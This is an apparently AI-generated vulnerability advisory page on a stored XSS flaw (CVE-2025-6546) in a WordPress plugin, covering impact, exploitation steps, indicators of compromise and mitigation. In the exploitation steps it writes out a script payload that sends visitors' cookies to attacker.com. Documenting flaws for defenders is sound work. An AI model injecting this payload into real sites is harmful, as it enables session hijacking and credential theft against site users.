CVE-2025-6546
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-6546 is a Stored Cross-Site Scripting (XSS) vulnerability in the Drive Folder Embedder plugin for WordPress, affecting all versions up to and including 1.1.0. The flaw exists in the tablecssclass parameter due to insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts into pages. The vulnerability was published on June 26, 2025, and carries a CVSS v3.1 base score of 5.4 (Medium) (Red Hat CVE, Wordfence).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The tablecssclass parameter accepted by the Drive Folder Embedder plugin shortcode or block is not properly sanitized before being stored, nor escaped before being rendered in the page output. An attacker with at least Contributor-level WordPress access can craft a malicious payload in this parameter; the injected script executes in the browser of any user who subsequently visits the affected page. No special configuration or elevated server-side privileges are required beyond the Contributor role (Red Hat CVE).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers when they visit an injected page, impacting both confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page content manipulation, phishing redirects). Because the payload is stored server-side, every visitor to the compromised page is affected without any further attacker interaction. Availability is not directly impacted, but the attack scope is changed — meaning the injected script runs in the victim's browser context rather than the attacker's (Red Hat CVE).

Exploitability

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-6546. The EPSS score is 0.00029, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least Contributor-level access, which limits the attack surface compared to unauthenticated vulnerabilities (Red Hat CVE, Wordfence).

Exploitation steps

  1. Gain Contributor Access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site running Drive Folder Embedder ≤ 1.1.0.
  2. Create or Edit a Post: Navigate to the WordPress editor and create or edit a post/page that uses the Drive Folder Embedder shortcode or block.
  3. Inject Malicious Payload: Set the tablecssclass parameter to a crafted XSS payload, for example: "><script>document.location='https://attacker.com/steal?c='+document.cookie</script>. This value is stored without sanitization.
  4. Publish the Content: Submit or publish the post/page containing the injected parameter.
  5. Trigger Execution: When any user (including administrators) visits the page, the stored script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Red Hat CVE).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing suspicious values in tablecssclass fields (e.g., <script>, javascript:, encoded variants like %3Cscript%3E).
  • Database: Unexpected <script> tags or JavaScript event handlers stored in the wp_posts or wp_postmeta tables associated with Drive Folder Embedder shortcode attributes.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the plugin's output, potentially indicating cookie exfiltration or redirects.
  • File System: No direct file system artifacts expected, as the payload is stored in the database rather than written to disk.

Mitigation and workarounds

WordPress site administrators should update the Drive Folder Embedder plugin to a version beyond 1.1.0 that includes proper input sanitization and output escaping for the tablecssclass parameter. If no patched version is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Additionally, restricting Contributor-level user registrations or requiring approval for new contributors can reduce the attack surface (Red Hat CVE, Wordfence).

Community reactions

Wordfence included CVE-2025-6546 in its weekly WordPress vulnerability report for the period of June 23–29, 2025, as part of routine plugin vulnerability tracking. Red Hat also catalogued the CVE. No significant independent researcher commentary, vendor statements beyond standard advisories, or notable media coverage has been identified for this vulnerability (Wordfence, Red Hat CVE).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-77115HIGH7.1
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-77116MEDIUM4.3
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-14853MEDIUM4.3
  • woocommerce-bookings
NoYesAug 23, 2026
CVE-2026-77003LOW2.7
  • content-mask
NoYesAug 23, 2026
CVE-2026-13598NONEN/A
  • restrictmate
NoYesAug 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management